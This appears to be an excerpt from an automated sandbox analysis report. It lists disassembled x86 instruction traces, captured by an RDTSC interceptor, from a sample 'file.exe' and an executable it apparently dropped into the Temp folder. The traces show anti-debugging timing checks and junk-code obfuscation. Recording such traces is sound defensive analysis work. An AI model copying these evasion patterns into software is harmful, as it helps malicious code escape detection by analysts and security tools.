Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F902AB second address: 4F902FE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ecx 0x00000005 pushfd 0x00000006 jmp 00007FF8A11CF03Bh 0x0000000b xor eax, 20974CEEh 0x00000011 jmp 00007FF8A11CF049h 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a sub ebx, ebx 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007FF8A11CF049h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F902FE second address: 4F90304 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F90304 second address: 4F9032D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A11CF03Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 sub edi, edi 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FF8A11CF043h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F9032D second address: 4F90333 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F90333 second address: 4F90339 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F90339 second address: 4F9033D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F9033D second address: 4F90358 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A11CF03Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b inc ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f mov dl, 4Eh 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F90358 second address: 4F9035E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F9035E second address: 4F90378 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A11CF03Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b test al, al 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F90378 second address: 4F9037C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F9037C second address: 4F90382 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F90382 second address: 4F903AE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A1198184h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007FF8A119834Dh 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FF8A119817Ah 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F903AE second address: 4F903B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F903B2 second address: 4F903B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F904EE second address: 4F90519 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A11CF049h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jg 00007FF911E5CFB7h 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 mov ecx, edi 0x00000014 mov esi, edi 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F90519 second address: 4F90541 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 mov bx, ax 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b js 00007FF8A11981C3h 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FF8A1198185h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F90541 second address: 4F90586 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A11CF041h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 cmp dword ptr [ebp-14h], edi 0x0000000c jmp 00007FF8A11CF03Eh 0x00000011 jne 00007FF911E5CF6Ah 0x00000017 pushad 0x00000018 mov eax, 6430742Dh 0x0000001d movzx eax, bx 0x00000020 popad 0x00000021 mov ebx, dword ptr [ebp+08h] 0x00000024 pushad 0x00000025 mov eax, edi 0x00000027 popad 0x00000028 lea eax, dword ptr [ebp-2Ch] 0x0000002b pushad 0x0000002c push eax 0x0000002d push edx 0x0000002e mov edx, ecx 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F90586 second address: 4F905D6 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FF8A1198180h 0x00000008 jmp 00007FF8A1198185h 0x0000000d popfd 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov dl, ah 0x00000012 popad 0x00000013 push eax 0x00000014 jmp 00007FF8A1198188h 0x00000019 mov dword ptr [esp], esi 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F905D6 second address: 4F905DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F905DA second address: 4F905F7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A1198189h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F905F7 second address: 4F905FD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F905FD second address: 4F90601 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F90601 second address: 4F90613 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov ax, dx 0x0000000f push edx 0x00000010 pop eax 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F90613 second address: 4F9061A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F9061A second address: 4F90639 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FF8A11CF043h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F90639 second address: 4F90651 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF8A1198184h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F90651 second address: 4F906C8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007FF8A11CF03Ah 0x00000010 adc si, 0638h 0x00000015 jmp 00007FF8A11CF03Bh 0x0000001a popfd 0x0000001b mov esi, 45B5D46Fh 0x00000020 popad 0x00000021 mov dword ptr [esp], ebx 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 pushfd 0x00000028 jmp 00007FF8A11CF047h 0x0000002d jmp 00007FF8A11CF043h 0x00000032 popfd 0x00000033 jmp 00007FF8A11CF048h 0x00000038 popad 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F9002B second address: 4F90089 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A1198181h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b movsx edi, cx 0x0000000e mov bh, ah 0x00000010 popad 0x00000011 xchg eax, ebp 0x00000012 pushad 0x00000013 pushad 0x00000014 movsx edx, si 0x00000017 mov esi, 5B02889Fh 0x0000001c popad 0x0000001d mov si, 0FBBh 0x00000021 popad 0x00000022 mov ebp, esp 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 movsx ebx, ax 0x0000002a pushfd 0x0000002b jmp 00007FF8A1198184h 0x00000030 sub esi, 595BA738h 0x00000036 jmp 00007FF8A119817Bh 0x0000003b popfd 0x0000003c popad 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F90089 second address: 4F900E9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A11CF049h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jmp 00007FF8A11CF043h 0x00000012 pushfd 0x00000013 jmp 00007FF8A11CF048h 0x00000018 adc ecx, 3201A328h 0x0000001e jmp 00007FF8A11CF03Bh 0x00000023 popfd 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F90C86 second address: 4F90CBB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A1198189h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FF8A1198183h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F90CBB second address: 4F90CD8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A11CF049h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F90CD8 second address: 4F90CF4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A1198181h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F90CF4 second address: 4F90CF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F90CF8 second address: 4F90CFC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F90CFC second address: 4F90D02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F90D02 second address: 4F90D4C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A1198182h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c mov bl, ah 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 push ebx 0x00000012 pop eax 0x00000013 popad 0x00000014 popad 0x00000015 cmp dword ptr [75C7459Ch], 05h 0x0000001c pushad 0x0000001d pushad 0x0000001e mov si, di 0x00000021 jmp 00007FF8A1198189h 0x00000026 popad 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F90D4C second address: 4F90D72 instructions: 0x00000000 rdtsc 0x00000002 mov edi, 32569A00h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a je 00007FF911E4CCDFh 0x00000010 jmp 00007FF8A11CF03Fh 0x00000015 pop ebp 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F90D72 second address: 4F90D76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F90D76 second address: 4F90D7A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F90D7A second address: 4F90D80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F90D80 second address: 4F90D86 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F90D86 second address: 4F90D8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F90D8A second address: 4F90D8E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA0023 second address: 4FA00B2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx ebx, si 0x00000006 push ecx 0x00000007 pop edi 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007FF8A1198180h 0x00000013 sub al, FFFFFF88h 0x00000016 jmp 00007FF8A119817Bh 0x0000001b popfd 0x0000001c popad 0x0000001d mov eax, dword ptr [esp+04h] 0x00000021 pushad 0x00000022 push edx 0x00000023 pushfd 0x00000024 jmp 00007FF8A1198182h 0x00000029 and cx, 9BE8h 0x0000002e jmp 00007FF8A119817Bh 0x00000033 popfd 0x00000034 pop esi 0x00000035 jmp 00007FF8A1198189h 0x0000003a popad 0x0000003b mov eax, dword ptr [eax] 0x0000003d jmp 00007FF8A1198181h 0x00000042 mov dword ptr [esp+04h], eax 0x00000046 pushad 0x00000047 push eax 0x00000048 push edx 0x00000049 mov ch, bl 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA00B2 second address: 4FA0116 instructions: 0x00000000 rdtsc 0x00000002 movzx eax, di 0x00000005 pop edx 0x00000006 pop eax 0x00000007 call 00007FF8A11CF03Bh 0x0000000c call 00007FF8A11CF048h 0x00000011 pop esi 0x00000012 pop edx 0x00000013 popad 0x00000014 pop eax 0x00000015 jmp 00007FF8A11CF03Eh 0x0000001a call 00007FF911E44ABAh 0x0000001f push 75C12B70h 0x00000024 push dword ptr fs:[00000000h] 0x0000002b mov eax, dword ptr [esp+10h] 0x0000002f mov dword ptr [esp+10h], ebp 0x00000033 lea ebp, dword ptr [esp+10h] 0x00000037 sub esp, eax 0x00000039 push ebx 0x0000003a push esi 0x0000003b push edi 0x0000003c mov eax, dword ptr [75C74538h] 0x00000041 xor dword ptr [ebp-04h], eax 0x00000044 xor eax, ebp 0x00000046 push eax 0x00000047 mov dword ptr [ebp-18h], esp 0x0000004a push dword ptr [ebp-08h] 0x0000004d mov eax, dword ptr [ebp-04h] 0x00000050 mov dword ptr [ebp-04h], FFFFFFFEh 0x00000057 mov dword ptr [ebp-08h], eax 0x0000005a lea eax, dword ptr [ebp-10h] 0x0000005d mov dword ptr fs:[00000000h], eax 0x00000063 ret 0x00000064 push eax 0x00000065 push edx 0x00000066 pushad 0x00000067 call 00007FF8A11CF03Dh 0x0000006c pop esi 0x0000006d jmp 00007FF8A11CF041h 0x00000072 popad 0x00000073 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA0169 second address: 4FA016E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA0BB7 second address: 4FA0CE4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FF8A11CF03Fh 0x00000008 pop eax 0x00000009 pushfd 0x0000000a jmp 00007FF8A11CF049h 0x0000000f sbb si, E136h 0x00000014 jmp 00007FF8A11CF041h 0x00000019 popfd 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d push eax 0x0000001e pushad 0x0000001f call 00007FF8A11CF047h 0x00000024 pushfd 0x00000025 jmp 00007FF8A11CF048h 0x0000002a or ecx, 24C952B8h 0x00000030 jmp 00007FF8A11CF03Bh 0x00000035 popfd 0x00000036 pop esi 0x00000037 mov eax, edi 0x00000039 popad 0x0000003a xchg eax, esi 0x0000003b jmp 00007FF8A11CF03Bh 0x00000040 mov esi, dword ptr [ebp+0Ch] 0x00000043 pushad 0x00000044 movzx esi, di 0x00000047 pushfd 0x00000048 jmp 00007FF8A11CF041h 0x0000004d jmp 00007FF8A11CF03Bh 0x00000052 popfd 0x00000053 popad 0x00000054 test esi, esi 0x00000056 jmp 00007FF8A11CF046h 0x0000005b je 00007FF911E3C75Dh 0x00000061 jmp 00007FF8A11CF040h 0x00000066 cmp dword ptr [75C7459Ch], 05h 0x0000006d pushad 0x0000006e jmp 00007FF8A11CF03Eh 0x00000073 call 00007FF8A11CF042h 0x00000078 pushad 0x00000079 popad 0x0000007a pop eax 0x0000007b popad 0x0000007c je 00007FF911E547FBh 0x00000082 push eax 0x00000083 push edx 0x00000084 jmp 00007FF8A11CF03Ah 0x00000089 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA0D3F second address: 4FA0D8A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A119817Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007FF8A1198187h 0x00000013 and ax, 76CEh 0x00000018 jmp 00007FF8A1198189h 0x0000001d popfd 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA0D8A second address: 4FA0DA5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov al, bl 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FF8A11CF03Eh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA0DA5 second address: 4FA0DB4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A119817Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA0DB4 second address: 4FA0DF1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A11CF049h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a pushad 0x0000000b mov cx, A333h 0x0000000f call 00007FF8A11CF048h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe	RDTSC instruction interceptor: First address: DEED2D second address: DEED31 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe	RDTSC instruction interceptor: First address: F6B3C2 second address: F6B3E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnp 00007FF8A11CF048h 0x0000000c jmp 00007FF8A11CF042h 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe	RDTSC instruction interceptor: First address: F6B3E0 second address: F6B3F2 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FF8A119817Ch 0x00000008 jnp 00007FF8A1198176h 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe	RDTSC instruction interceptor: First address: F6B3F2 second address: F6B3F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe	RDTSC instruction interceptor: First address: F6B3F8 second address: F6B3FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe	RDTSC instruction interceptor: First address: F6B589 second address: F6B593 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FF8A11CF036h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe	RDTSC instruction interceptor: First address: F6B593 second address: F6B597 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe	RDTSC instruction interceptor: First address: F6B597 second address: F6B5AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FF8A11CF03Ah 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe	RDTSC instruction interceptor: First address: F6F043 second address: F6F04D instructions: 0x00000000 rdtsc 0x00000002 je 00007FF8A1198176h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe	RDTSC instruction interceptor: First address: F6F04D second address: F6F0B7 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FF8A11CF038h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push ebp 0x0000000e call 00007FF8A11CF038h 0x00000013 pop ebp 0x00000014 mov dword ptr [esp+04h], ebp 0x00000018 add dword ptr [esp+04h], 00000015h 0x00000020 inc ebp 0x00000021 push ebp 0x00000022 ret 0x00000023 pop ebp 0x00000024 ret 0x00000025 mov esi, 47EE92B8h 0x0000002a push 00000000h 0x0000002c push 00000000h 0x0000002e push edx 0x0000002f call 00007FF8A11CF038h 0x00000034 pop edx 0x00000035 mov dword ptr [esp+04h], edx 0x00000039 add dword ptr [esp+04h], 00000018h 0x00000041 inc edx 0x00000042 push edx 0x00000043 ret 0x00000044 pop edx 0x00000045 ret 0x00000046 movzx ecx, si 0x00000049 push 4DB08F73h 0x0000004e pushad 0x0000004f jnp 00007FF8A11CF03Ch 0x00000055 jnl 00007FF8A11CF036h 0x0000005b push eax 0x0000005c push edx 0x0000005d push eax 0x0000005e push edx 0x0000005f rdtsc
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe	RDTSC instruction interceptor: First address: F6F0B7 second address: F6F0BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe	RDTSC instruction interceptor: First address: F6F0BB second address: F6F165 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FF8A11CF036h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b xor dword ptr [esp], 4DB08FF3h 0x00000012 pushad 0x00000013 jc 00007FF8A11CF03Ch 0x00000019 mov edi, dword ptr [ebp+122D2CD2h] 0x0000001f mov esi, dword ptr [ebp+122D2C42h] 0x00000025 popad 0x00000026 push 00000003h 0x00000028 push 00000000h 0x0000002a push 00000000h 0x0000002c push edx 0x0000002d call 00007FF8A11CF038h 0x00000032 pop edx 0x00000033 mov dword ptr [esp+04h], edx 0x00000037 add dword ptr [esp+04h], 0000001Dh 0x0000003f inc edx 0x00000040 push edx 0x00000041 ret 0x00000042 pop edx 0x00000043 ret 0x00000044 mov esi, dword ptr [ebp+122D2B0Eh] 0x0000004a push 00000003h 0x0000004c mov dl, 88h 0x0000004e push E8CFC791h 0x00000053 jns 00007FF8A11CF042h 0x00000059 xor dword ptr [esp], 28CFC791h 0x00000060 mov edi, dword ptr [ebp+122D2671h] 0x00000066 lea ebx, dword ptr [ebp+12453F20h] 0x0000006c cmc 0x0000006d xchg eax, ebx 0x0000006e je 00007FF8A11CF04Eh 0x00000074 jmp 00007FF8A11CF048h 0x00000079 push eax 0x0000007a push eax 0x0000007b push edx 0x0000007c push eax 0x0000007d push edx 0x0000007e push eax 0x0000007f push edx 0x00000080 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe	RDTSC instruction interceptor: First address: F6F165 second address: F6F169 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe	RDTSC instruction interceptor: First address: F6F169 second address: F6F182 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A11CF045h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe	RDTSC instruction interceptor: First address: F6F32A second address: F6F3A8 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push eax 0x0000000d call 00007FF8A1198178h 0x00000012 pop eax 0x00000013 mov dword ptr [esp+04h], eax 0x00000017 add dword ptr [esp+04h], 0000001Ch 0x0000001f inc eax 0x00000020 push eax 0x00000021 ret 0x00000022 pop eax 0x00000023 ret 0x00000024 pushad 0x00000025 jg 00007FF8A119817Ch 0x0000002b jne 00007FF8A119817Ch 0x00000031 popad 0x00000032 and esi, 2A76E2C1h 0x00000038 push 00000000h 0x0000003a jg 00007FF8A1198188h 0x00000040 push 5B13046Bh 0x00000045 pushad 0x00000046 jp 00007FF8A1198178h 0x0000004c push ecx 0x0000004d pop ecx 0x0000004e push eax 0x0000004f push edx 0x00000050 je 00007FF8A1198176h 0x00000056 rdtsc
